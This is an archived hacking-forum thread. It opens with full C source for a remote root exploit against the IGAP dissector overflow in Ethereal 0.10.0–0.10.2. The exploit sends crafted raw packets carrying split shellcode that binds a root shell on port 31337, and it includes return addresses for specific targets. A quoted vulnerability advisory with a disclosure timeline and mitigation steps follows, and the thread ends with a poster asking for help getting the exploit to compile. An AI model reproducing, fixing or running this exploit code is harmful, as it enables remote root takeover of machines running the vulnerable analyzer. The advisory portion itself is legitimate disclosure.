hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

nowhere
QUOTE
/*
* THE EYE ON SECURITY RESEARCH GROUP - INDIA
* Ethereal IGAP Dissector Message Overflow Remote Root exploit
*
* Copyright 2004 - EOS-India Group
*
* Authors note:
* Shellcode splitting technique:
* Due to difficulty involved while following normal exploitation techniques due to shortage of memory space
* for our shellcode, we used the technique of shellcode splitting. In this technique one part of the shellcode
* is kept before the buffer which overwrites the saved EIP on stack followed by a jmp OFFSET instruction which
* jumps EIP to the second half of the shellcode which is kept after return address. Also since our shellcode
* requires EBP to contain a usuable stack address, we overwrite saved EBP also.
*
* Disclaimer:
* This code is for educational purpose and testing only. The Eye on Security Research Group - India, cannot
* be held responsible for any damage caused due to misuse of this code.
* This code is a proof of concept exploit for a serious vulnerability that exists in Ethereal 0.10.0 to
* Ethereal 0.10.2.
*
* Nilanjan De [n2n+linuxmail.org] - Abhisek Datta [abhisek+front.ru]
* http://www.eos-india.net
*
*/
#define IPPROTO_IGAP 0x02 // IPPROTO_IGMP=0x02
#define PAYLOAD_SIZE (255-64)
#define MAX_BUFF sizeof(struct igap_header)+sizeof(struct ipheader)
#define EXP "Ethereal(v0.10.0-0.10.2) IGAP Dissector Message Overflow Exploit"
#define VER "0.2"
#define SOCKET_ERROR -1
#define MAX_PACKET 10
#define RETOFFSET 76
#define SRC_IP "192.31.33.7"
#include <stdio.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>

#define MAX_ARCH 5
struct eos{
        char *arch;
        unsigned long ret;
} targets[] = {
        "tEthereal(0.10.2)-Gentoo(gdb)",
        0xbffede50,
        //-------------------------------
        "tEthereal(0.10.2)-Gentoo ",
        0xbffede10,
        //-------------------------------
        "Ethereal(0.10.2)-Gentoo ",
        0xbfffd560,
        //-------------------------------
        "tEthereal(0.10.2)-RedHat 8 ",
        0xbffedfb8,
        //-------------------------------
        "Ethereal(0.10.2)-RedHat 8 ",
        0xbfffcd08,
        //-------------------------------
        NULL,
        0
};
       

/*
x86 linux portbind a shell in port 31337
based on shellcode from www.shellcode.com.ar
with a few modifications by us
*/

char shellcode_firsthalf[]=
        /* sys_fork() */
        "\x31\xc0" // xorl %eax,%eax
        "\x31\xdb" // xorl %ebx,%ebx
        "\xb0\x02" // movb $0x2,%al
        "\xcd\x80" // int $0x80
        "\x38\xc3" // cmpl %ebx,%eax
        "\x74\x05" // je 0x5
        /* sys_exit() */
        "\x8d\x43\x01" // leal 0x1(%ebx),%eax
        "\xcd\x80" // int $0x80
        /* setuid(0) */
        "\x31\xc0" // xorl %eax,%eax
        "\x31\xdb" // xorl %ebx,%ebx
        "\xb0\x17" // movb $0x17,%al
        "\xcd\x80" // int $0x80
        /* socket() */
        "\x31\xc0" // xorl %eax,%eax
        "\x89\x45\x10" // movl %eax,0x10(%ebp)(IPPROTO_IP = 0x0)
        "\x40" // incl %eax
        "\x89\xc3" // movl %eax,%ebx(SYS_SOCKET = 0x1)
        "\x89\x45\x0c" // movl %eax,0xc(%ebp)(SOCK_STREAM = 0x1)
        "\x40" // incl %eax
        "\x89\x45\x08" // movl %eax,0x8(%ebp)(AF_INET = 0x2)
        "\x8d\x4d\x08" // leal 0x8(%ebp),%ecx
        "\xb0\x66" // movb $0x66,%al
        "\xcd\x80" // int $0x80
        "\x89\x45\x08" // movl %eax,0x8(%ebp)
        ;
char jumpcode[]="\xeb\x10";

char shellcode_secondhalf[]=
        /* bind()*/
        "\x43" // incl %ebx(SYS_BIND = 0x2)
        "\x66\x89\x5d\x14" // movw %bx,0x14(%ebp)(AF_INET = 0x2)
        "\x66\xc7\x45\x16\x7a\x69" // movw $0x697a,0x16(%ebp)(port=31337)
        "\x31\xd2" // xorl %edx,%edx
        "\x89\x55\x18" // movl %edx,0x18(%ebp)
        "\x8d\x55\x14" // leal 0x14(%ebp),%edx
        "\x89\x55\x0c" // movl %edx,0xc(%ebp)
        "\xc6\x45\x10\x10" // movb $0x10,0x10(%ebp)(sizeof(struct sockaddr) = 10h = 16)
        "\xb0\x66" // movb $0x66,%al
        "\xcd\x80" // int $0x80

        /* listen() */
        "\x40" // incl %eax
        "\x89\x45\x0c" // movl %eax,0xc(%ebp)
        "\x43" // incl %ebx
        "\x43" // incl %ebx(SYS_LISTEN = 0x4)
        "\xb0\x66" // movb $0x66,%al
        "\xcd\x80" // int $0x80

        /* accept() */
        "\x43" // incl %ebx
        "\x89\x45\x0c" // movl %eax,0xc(%ebp)
        "\x89\x45\x10" // movl %eax,0x10(%ebp)
        "\xb0\x66" // movb $0x66,%al
        "\xcd\x80" // int $0x80
        "\x89\xc3" // movl %eax,%ebx

        /* dup2() */
        "\x31\xc9" // xorl %ecx,%ecx
        "\xb0\x3f" // movb $0x3f,%al
        "\xcd\x80" // int $0x80
        "\x41" // incl %ecx
        "\x80\xf9\x03" // cmpb $0x3,%cl
        "\x75\xf6" // jne -0xa

        /* execve() */
        "\x31\xd2" // xorl %edx,%edx
        "\x52" // pushl %edx
        "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
        "\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
        "\x89\xe3" // movl %esp,%ebx
        "\x52" // pushl %edx
        "\x53" // pushl %ebx
        "\x89\xe1" // movl %esp,%ecx
        "\xb0\x0b" // movb $0xb,%al
        "\xcd\x80"; // int $0x80

struct ipheader {
        unsigned char ip_hl:4, ip_v:4;
        unsigned char ip_tos;
        unsigned short int ip_len;
        unsigned short int ip_id;
        unsigned short int ip_off;
        unsigned char ip_ttl;
        unsigned char ip_proto;
        unsigned short int ip_sum;
        unsigned int ip_src;
        unsigned int ip_dst;
};

struct igap_header { // This is a malformed header which does not conforms with IGAP RFC
        unsigned char igap_type; // Message Type
        unsigned char igap_restime; // Response Time
        unsigned short int igap_cksum; // IGAP Message Checksum
        unsigned int igap_gaddr; // Group Address
        unsigned char igap_ver; // Version
        unsigned char igap_stype; // SubType
        unsigned char igap_reserved1; // Reserved
        unsigned char igap_cid; // Challenge ID
        unsigned char igap_asize; // Account Size
        unsigned char igap_msgsize; // Message Size
        unsigned short int igap_reserved2; // Reserved
        /*
        unsigned char igap_uaccount[16];// User Account
        unsigned char igap_message[64] // Message
        */
        unsigned char igap_payload[16+64+PAYLOAD_SIZE]; // This buffer will contain payload, here we differ from RFC by sending a bigger message.
};

unsigned short checksum(unsigned short *buf,int nwords)
{
        unsigned long sum;
        for (sum = 0; nwords > 0; nwords--)
                sum += *(buf)++;
        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        return ~sum;
}

void showhelp(char *pr00gie) {
        int i=0;
        printf("######### The Eye on Security Research Group - India ########\n");
        printf("%s %s\n",EXP,VER);
        printf("abhisek[at]front[dot]ru - n2n[at]linuxmail[dot]org\n");
        printf("http://www.eos-india.net\n\n");
        printf("[usage]\n");
        printf("%s [Remote Host] [Target]\n",pr00gie);
        printf("[Available Targets]\n");
        while(targets[i].arch != NULL) {
                printf("%d. - %s\t - %p\n",(i),targets[i].arch,targets[i].ret);
                i++;
        }
        exit(1);
}
             
int main(int argc,char *argv[]) {
        char buffer[MAX_BUFF];
        struct ipheader *iphdr=(struct ipheader*)buffer;
        struct igap_header *igaphdr=(struct igap_header*)(buffer+sizeof(struct ipheader));
        int sockfd;
        unsigned long addr;
        int one=1;
        int i;
        const int *val=&one;
        struct sockaddr_in sin;
        unsigned long magic;
        unsigned int n;
       
        if(getuid()) {
                printf("- This code opens SOCK_RAW which needs root privilege\n");
                exit(1);
        }
        if(argc != 3)
                showhelp(argv[0]);
        n=atoi(argv[2]);
        if(n >= MAX_ARCH) {
                printf("- Invalid target\n");
                showhelp(argv[0]);
        }
        magic=targets[n].ret;
        printf("-Using RET %p\n",magic);
        addr=inet_addr(argv[1]);
        if(addr==INADDR_NONE) {
                printf("- Invalid target\n");
                exit(1);
        }
        sin.sin_addr.s_addr=addr;
        sin.sin_family=AF_INET;
        sin.sin_port=0x00;
        sockfd=socket(PF_INET,SOCK_RAW,IPPROTO_RAW);
        if(sockfd==SOCKET_ERROR) {
                printf("- Failed creating SOCK_RAW descriptor\n");
                exit(1);
        }
        if(setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,val,sizeof(one)) < 0)
                printf ("- WARNING !! :Cannot set IP_HDRINCL!\n");
        memset(buffer,0x00,MAX_BUFF);
        // Filling IP Header
        iphdr->ip_hl=0x05;
        iphdr->ip_v=0x04;
        iphdr->ip_tos=0x00;
        iphdr->ip_len=MAX_BUFF;
        iphdr->ip_id=htonl(54321);
        iphdr->ip_off=0x00; // Lower 3 bit=Flag4Fragmentation - Higher 13 Bit=Fragment Offset
        iphdr->ip_ttl=0x01;
        iphdr->ip_proto=IPPROTO_IGAP; // IPPROTO_IGMP
        iphdr->ip_sum=0x00; // Fill sum before sending packet
        iphdr->ip_src=inet_addr (SRC_IP);
        iphdr->ip_dst=addr;
        // Filling IGAP Header
        igaphdr->igap_type=0x41; // IGAP Membership Query
        igaphdr->igap_restime=0x0a; //
        igaphdr->igap_cksum=0x00; // compute before sending packet
        igaphdr->igap_gaddr=0x00; // Ignored in IGAP Membership Query Message
        igaphdr->igap_ver=0x01; // IGAPv1
        igaphdr->igap_stype=0x21; // Basic Query
        igaphdr->igap_reserved1=0x00; // Ignored
        igaphdr->igap_cid=0x00; // Challenge ID (ignored because Chanllenge Response authentication not used)
        igaphdr->igap_asize=0x10; // MAX Size of Account Name Field
        igaphdr->igap_msgsize=0x40+PAYLOAD_SIZE; // Size of Message
        igaphdr->igap_reserved2=0x00; // Reserved
        // Building exploit buffer
        //for(i=0;i<16+64+PAYLOAD_SIZE;i++)
        // memset(igaphdr->igap_payload+i,(unsigned char)i,1);
        memset(igaphdr->igap_payload,0x90, 16 + 64 + PAYLOAD_SIZE);
        memcpy(igaphdr->igap_payload + 16 + RETOFFSET - strlen(shellcode_firsthalf) - 8, shellcode_firsthalf, strlen(shellcode_firsthalf));
        memcpy(igaphdr->igap_payload + 16 + 64 + RETOFFSET - strlen(jumpcode) - 4,jumpcode,strlen(jumpcode));
        memcpy(igaphdr->igap_payload + 16 + 64 + RETOFFSET, &magic, 4);
        magic-=0x10;
        memcpy(igaphdr->igap_payload + 16 + 64 + RETOFFSET - 4,&magic,4);
        memcpy(igaphdr->igap_payload + 16 + 64 + PAYLOAD_SIZE - strlen(shellcode_secondhalf) - 1,shellcode_secondhalf,strlen(shellcode_secondhalf));
        // Calculating checksum
        igaphdr->igap_cksum=checksum((unsigned short*)(buffer + sizeof(struct ipheader)), (sizeof(struct igap_header))>>1);
        iphdr->ip_sum = checksum ((unsigned short*)buffer, (iphdr->ip_len)>>1);
        // Sending
        one=MAX_PACKET;
        while(one) {
                sendto(sockfd,buffer,MAX_BUFF,0,(struct sockaddr*)&sin,sizeof(sin));
                printf(".");
                one--;
        }
        close(sockfd);
        printf("\n- Send %d packets to %s\n",MAX_PACKET,argv[1]);
        printf("- Read source to know what to do to check if the exploit worked\n");
        return 0;
}

_____________________________________
QUOTE
Details:

Vulnerable Systems:
* Ethereal 0.8.14 - 0.10.2

In the beginning of March a code audit of Ethereal revealed remotely triggerable overflows within a few of the over 400 dissectors. During the process of working with the Ethereal vendor the audit continued and until today it was possible to identify a total count of 13 possible stack overflows within 9 different dissectors.

For the purpose of clarity it was chosen to describe all these bugs within this advisory instead of spreading the information over nine single advisories.

Because the defects affect different parts of the code base and were introduced at different dates within the last 3 years the following table gives a short overview of the exact CVS commit timestamps and the version number it first appeared in.

  (Version 0.8.14)

  [04] EIGRP Dissector TLV_IP_INT Long IP Address Overflow
        - Revision: 1.7, Thu Nov 9 05:16:19 2000 UTC

  [05] EIGRP Dissector TLV_IP_EXT Long IP Address Overflow
        - Revision: 1.7, Thu Nov 9 05:16:19 2000 UTC


  (version 0.8.19)

  [06] PGM Dissector NakList Overflow
        - Revision: 1.1, Thu Jul 12 20:16:28 2001 UTC


  (version 0.9.0)

  [11] UCP Dissector Handle String-Field Overflow
        - Revision: 1.1, Mon Oct 8 17:30:23 2001 UTC

  [12] UCP Dissector Handle Int-Field Overflow
        - Revision: 1.1, Mon Oct 8 17:30:23 2001 UTC

  [13] UCP Dissector Handle Time-Field Overflow
        - Revision: 1.1, Mon Oct 8 17:30:23 2001 UTC


  (version 0.9.10)

  [01] Netflow v9 Dissector Template Caching Overflow
        - Revision 1.9 Tue Mar 4 03:37:12 2003 UTC


  (version 0.9.16)

  [09] ISUP Dissector INTERWORKING FUNCTION ADDRESS Overflow
        - Revision: 1.29, Fri Oct 3 20:58:13 2003 UTC

  [10] TCAP Dissector TID Overflow
        - Revision: 1.1, Thu Oct 2 06:13:28 2003 UTC


  (version 0.10.0)

  [02] IGAP Dissector Account Overflow
        - Revision 1.1 Wed Dec 10 19:21:55 2003 UTC

  [03] IGAP Dissector Message Overflow
        - Revision 1.1 Wed Dec 10 19:21:55 2003 UTC


  (version 0.10.1)

  [08] BGP Dissector MPLS Label Overflow
        - Revision: 1.84, Tue Jan 6 02:29:36 2004 UTC

  [07] IRDA Dissector Plugin IRCOM_PORT_NAME Overflow
        - Revision: 1.1, Thu Dec 18 19:07:12 2003 UTC

In the following paragraphs all 13 bugs are described in a short form. The referenced URL within the header of this advisory will be updated with more detailed information (incl. snippets) when the Ethereal developers have released 0.10.3.

[01] NetFlow v9 Dissector Template Caching Overflow

When parsing the v9_template structure within a NetFlow UDP packet a template_entry count > 64 will overflow a stackbuffer and allows overwriting the saved instruction pointer, thus allowing remote code execution.

[02] IGAP Protocol Dissector Account Overflow
[03] IGAP Protocol Dissector Message Overflow

When parsing an IGAP protocol packet that contains either an overlong accountname (>17) or an overlong message (>65) different buffers may overflow the stack, allowing an over- write of up to 238 (or 190) bytes. In both cases remote code execution exploitation is possible.

[04] EIGRP Protocol TLV_IP_INT Long IP Address Overflow

When parsing an EIGRP IP packet that contains an overlong IP address this will overflow a stack buffer and therefore can lead to remote code execution

[05] EIGRP Protocol TLV_IP_EXT Long IP Address Overflow

When parsing an EIGRP Extended IP packet that contains an overlong-extended IP address this will overflow a stack buffer and can lead to remote code execution

[06] PGM Protocol NakList Overflow

When parsing a PGM packet with a carefully crafted NakList a possible integer underflow can result in a very small stack- overflow. Due to the stacklayout code execution exploitation seems very unlikely.

[07] IRDA Protocol Plugin IRCOM_PORT_NAME Overflow

When parsing an IRCOM_PORT_NAME packed an overlong portname can overwrite up to 2 bytes on the stack. Similar to [06] the stacklayout seems to make remote code execution very difficult or impossible.

[08] BGP Protocol MPLS Label Overflow

When parsing a BGP Packet with a MPLS IPv6 label up to 13 bytes on the stack may be overwritten with arbitrary data. Due to the stacklayout exploitability seems unlikly and was therefore not tested.

[09] ISUP Protocol INTERWORKING FUNCTION ADDRESS Overflow

When parsing an ISUP Packet an oversized IWFA will overflow a stack buffer and can lead to remote code execution

[10] TCAP Protocol TID Overflow

When handling the ASN.1 encoded Transaction ID within a TCAP packet a 4 byte stack variable may overflow and can lead to remote code execution

[11] UCP Protocol Handle String-Field Overflow

When handling a string within an UCP packet a stack buffer of BUFSIZ bytes may overflow and can therefore lead to remote code execution.

To exploit this vulnerability over the wire an attacker must be able to fit more than BUFSIZ bytes into one TCP packet. This means it is only exploitable on the wire if the system has a MTU bigger than BUFSIZ. BUFSIZ is 8192 on glibc systems, 1024 on BSD systems and 512 on Windows systems.

[12] UCP Protocol Handle Int-Field Overflow

When handling an Integer field within an UCP packet a stack buffer of BUFSIZ bytes may overflow and can therefore lead to remote code execution.

To exploit this vulnerability over the wire an attacker must be able to fit more than BUFSIZ bytes into one TCP packet. This means it is only exploitable on the wire if the system has a MTU bigger than BUFSIZ. BUFSIZ is 8192 on glibc systems, 1024 on BSD systems and 512 on Windows systems.

[13] UCP Protocol Handle Time-Field Overflow

When handling a Time field within an UCP packet a stack buffer of BUFSIZ bytes may overflow and can therefore lead to remote code execution.

To exploit this vulnerability over the wire an attacker must be able to fit more than BUFSIZ bytes into one TCP packet. This means it is only exploitable on the wire if the system has a MTU bigger than BUFSIZ. BUFSIZ is 8192 on glibc systems, 1024 on BSD systems and 512 on Windows systems.

Disclosure Timeline:
5 March 2004 - Ethereal developers were contacted by email telling them about 10(of the 13) holes. 6 holes were closed the same day EIGRP, IGAP, ISUP and BGP.
7 March 2004 - IRDA hole closed (after checking specs)
8 March 2004 - PGM hole closed (after checking specs)
9 March 2004 - NetFlow hole closed (after checking specs)
17 March 2004 - UCP holes were discovered and mailed to vendor
19 March 2004 - UCP and TCAP holes closed (after checking specs)
22 March 2004 - Ethereal developers have releases a mini advisory urging their users to upgrade to version 0.10.3 that will be released later this week
23 March 2004 - Public Disclosure

CVE Information:
The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0176 to this issue.
Recommendation:
Until you can upgrade to version 0.10.3 of Ethereal or to the bugfixed package from your distributor it is strongly recommended to disable the following dissectors in the menu:

Analyze->Enabled Protocols

disable: BGP, EIGRP, IGAP, IRDA, ISUP, NetFlow, PGM, TCAP, UCP
T3cHn0b0y
Thanks for the info m8!

1 problem...the code's gonna need some modification before any compiler of mine is gonna like it:

if(setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,val,sizeof(one)) < 0)

IPPROTO_IP: Undeclared (first use of this function)
IP_HDRINCL: Undeclared (first use of this function)

I get more undeclared inderntifier errors too...maybe my revision of socket.h is out of date or something. Help anyone?
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.